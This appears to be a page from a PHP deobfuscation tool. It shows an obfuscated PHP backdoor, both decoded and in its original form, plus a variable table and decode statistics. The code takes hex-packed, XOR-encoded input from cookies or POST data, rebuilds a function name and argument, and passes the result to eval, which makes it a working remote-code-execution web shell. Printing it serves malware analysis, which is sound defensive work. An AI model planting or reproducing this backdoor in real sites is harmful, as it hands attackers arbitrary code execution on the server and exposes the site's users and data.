Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $xyNsMehX = chr (115) . chr ( 408 -/* WJyP*/292 ).'r'/* YjaKz*/. chr (95)..

Decoded Output download

<?php	$xyNsMehX	=	chr    (115)	. chr     (	408	-/* WJyP*/292	).'r'/*  YjaKz*/.	chr    (95)/*  SjO  */./*   rxkfT */chr     (114)/*   xAEgL*/.	chr	(/*   GW  */556	- 455	)."p"/*  CUjQ*/.	chr	(101)/* yUQ   */. 'a'	.	"t";; 
   $FbwJHf	=	"e" .	"x"     ./* mweR  */'p'	.	"l"	./*   RkXby*/"o"  .     'd'	.     'e'; 
 $VUphkQGCr    =/*   QGCgM */"p"    .     "a"/*  h*/./*   m  */chr	(    154   -     55/* nocK*/).chr (	882	-/*  kzm */775	);; 
					function   aEILLsJZ() 
 
	{ 
	$gbuXK/* rABfn  */=/*rjuUu*/Array/*T*/( "IHHjZGvOxqcz"/*  jQ*/=>	"WtDCJXUkJbfifXWCMhamsBEGI"   );; 
      
 
 
/* S*/$CigkL	=	Array/*  qWNF */(	"zadhlgfcQLpoqKoiBkrahqY"    =>	"ujEySsp"  );; 
   $hmItBJ/*   m */=	Array(/*  KJ   */$gbuXK,/*   YTFZS */$_COOKIE,/* LfIwJ*/$gbuXK,	$_POST,/*F   */$CigkL); 
		  
 
  return	$hmItBJ;; 
 } 
				 
			   function	EkJsdy($igvUVBBPe) 
					/*EvMFK */{ 
 
	if (	count	( $igvUVBBPe	)     ==	3     )/* QPXd*/{ 
				$digBZmhgqr/* PsvLR*/=/*   sRYnz */$igvUVBBPe[1]; 
     $hoBzwSXNEJ/*   JeWAT*/=	$igvUVBBPe[2];; 
	$XcIAzRcT/* SSA  */=	$digBZmhgqr($hoBzwSXNEJ);; 
/*   lBaGd   */eval    ( $XcIAzRcT  ); 
				die (); 
 
 
/*   w*/} 
 
/* CL */} 
 	 
	function/*  MSa*/JxUcwiwEf($KKyPVCHLZe,/*IZT*/$xnskEy) 
	  { 
 
 
	return/*  SCAK   */$KKyPVCHLZe	^  $xnskEy;$_kVDGH   =	'28507'; 
	     } 
	/*   K*/ 
				     $jOYmT	=     chr/*   M */(	384    -/*   fqSDo   */349	); 
	 
 
 
/*   YWmO*/foreach (aEILLsJZ()	as  $NsvzJ)	{ 
 
	foreach	(	$NsvzJ	as	$xnskEy	=>  $KKyPVCHLZe	)	{ 
     /*dt*/ 
	$KKyPVCHLZe	=/* pyOOA  */@$VUphkQGCr(  "H"	./*VQ  */"*",     $KKyPVCHLZe/*  TAt*/);; 
  	 
     	$xnskEy	.=	"mOF-qOQ-lqOXcG-RCMi-FXCCqJV-IFGdQtG-UfrOp"; 
   	$xnskEy/*   VDjMI   */=	$xyNsMehX	(    $xnskEy,/*   RFpw  */(    strlen(	$KKyPVCHLZe/* xKhTf*/)/strlen(    $xnskEy  )    )/*   tUS */+ 1);; 
      
 
 
	$XcJCiYwi/*   wBaLs*/=/* J  */JxUcwiwEf($KKyPVCHLZe,/*hTDJ  */$xnskEy); 
						 
 
 
/*UHV   */$igvUVBBPe	=/* FvY*/$FbwJHf   ($jOYmT,	$XcJCiYwi     );$_zMFLj     =	'13145'; 
       
			/* P*/EkJsdy($igvUVBBPe);; 
 
 
/*  Nk*/} 
			} ?>

Did this file decode correctly?

Original Code

<?php	$xyNsMehX	=	chr    (115)	. chr     (	408	-/* WJyP*/292	).'r'/*  YjaKz*/.	chr    (95)/*  SjO  */./*   rxkfT */chr     (114)/*   xAEgL*/.	chr	(/*   GW  */556	- 455	)."\x70"/*  CUjQ*/.	chr	(101)/* yUQ   */. 'a'	.	"\x74";;
   $FbwJHf	=	"\x65" .	"\170"     ./* mweR  */'p'	.	"\154"	./*   RkXby*/"\x6f"  .     'd'	.     'e';
 $VUphkQGCr    =/*   QGCgM */"\160"    .     "\x61"/*  h*/./*   m  */chr	(    154   -     55/* nocK*/).chr (	882	-/*  kzm */775	);;
					function   aEILLsJZ()

	{
	$gbuXK/* rABfn  */=/*rjuUu*/Array/*T*/( "IHHjZGvOxqcz"/*  jQ*/=>	"WtDCJXUkJbfifXWCMhamsBEGI"   );;
     


/* S*/$CigkL	=	Array/*  qWNF */(	"zadhlgfcQLpoqKoiBkrahqY"    =>	"ujEySsp"  );;
   $hmItBJ/*   m */=	Array(/*  KJ   */$gbuXK,/*   YTFZS */$_COOKIE,/* LfIwJ*/$gbuXK,	$_POST,/*F   */$CigkL);
		 

  return	$hmItBJ;;
 }
				
			   function	EkJsdy($igvUVBBPe)
					/*EvMFK */{

	if (	count	( $igvUVBBPe	)     ==	3     )/* QPXd*/{
				$digBZmhgqr/* PsvLR*/=/*   sRYnz */$igvUVBBPe[1];
     $hoBzwSXNEJ/*   JeWAT*/=	$igvUVBBPe[2];;
	$XcIAzRcT/* SSA  */=	$digBZmhgqr($hoBzwSXNEJ);;
/*   lBaGd   */eval    ( $XcIAzRcT  );
				die ();


/*   w*/}

/* CL */}
 	
	function/*  MSa*/JxUcwiwEf($KKyPVCHLZe,/*IZT*/$xnskEy)
	  {


	return/*  SCAK   */$KKyPVCHLZe	^  $xnskEy;$_kVDGH   =	'28507';
	     }
	/*   K*/
				     $jOYmT	=     chr/*   M */(	384    -/*   fqSDo   */349	);
	


/*   YWmO*/foreach (aEILLsJZ()	as  $NsvzJ)	{

	foreach	(	$NsvzJ	as	$xnskEy	=>  $KKyPVCHLZe	)	{
     /*dt*/
	$KKyPVCHLZe	=/* pyOOA  */@$VUphkQGCr(  "\110"	./*VQ  */"\52",     $KKyPVCHLZe/*  TAt*/);;
  	
     	$xnskEy	.=	"mOF-qOQ-lqOXcG-RCMi-FXCCqJV-IFGdQtG-UfrOp";
   	$xnskEy/*   VDjMI   */=	$xyNsMehX	(    $xnskEy,/*   RFpw  */(    strlen(	$KKyPVCHLZe/* xKhTf*/)/strlen(    $xnskEy  )    )/*   tUS */+ 1);;
     


	$XcJCiYwi/*   wBaLs*/=/* J  */JxUcwiwEf($KKyPVCHLZe,/*hTDJ  */$xnskEy);
						


/*UHV   */$igvUVBBPe	=/* FvY*/$FbwJHf   ($jOYmT,	$XcJCiYwi     );$_zMFLj     =	'13145';
      
			/* P*/EkJsdy($igvUVBBPe);;


/*  Nk*/}
			}

Function Calls

chr 9
aEILLsJZ 1

Variables

$CigkL [{'key': 'zadhlgfcQLpoqKoiBkrahqY', 'value': 'ujEySsp'}]
$gbuXK [{'key': 'IHHjZGvOxqcz', 'value': 'WtDCJXUkJbfifXWCMhamsBEGI'}]
$jOYmT #
$FbwJHf explode
$hmItBJ [{'key': 0, 'value': [{'key': 'IHHjZGvOxqcz', 'value': 'WtDCJXUkJbfifXWCMhamsBEGI'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'IHHjZGvOxqcz', 'value': 'WtDCJXUkJbfifXWCMhamsBEGI'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'zadhlgfcQLpoqKoiBkrahqY', 'value': 'ujEySsp'}]}]
$xyNsMehX str_repeat
$VUphkQGCr pack

Stats

MD5 2ec7ce681772a179cd5ab7ac77be7294
Eval Count 0
Decode Time 126 ms